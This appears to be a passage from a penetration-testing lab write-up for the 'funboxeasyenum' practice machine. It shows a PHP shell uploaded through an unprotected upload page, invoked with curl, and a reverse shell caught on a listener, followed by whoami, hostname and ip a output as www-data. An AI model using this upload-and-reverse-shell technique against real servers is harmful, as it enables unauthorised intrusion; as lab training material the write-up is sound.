Arbitrary File Upload


The /mimi.php file present in the target web server appears to support file upload.

Uploading the payload

Uploaded

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/funboxeasyenum]
└─$ curl -s http://$IP/shell.php

Invoking..

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/funboxeasyenum]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.187.132] 42238
SOCKET: Shell has connected! PID: 2666
whoami
www-data
hostname
funbox7
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:db:3c brd ff:ff:ff:ff:ff:ff
    inet 192.168.187.132/24 brd 192.168.187.255 scope global ens192
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the www-data user via uploading a PHP shell through the /mini.php file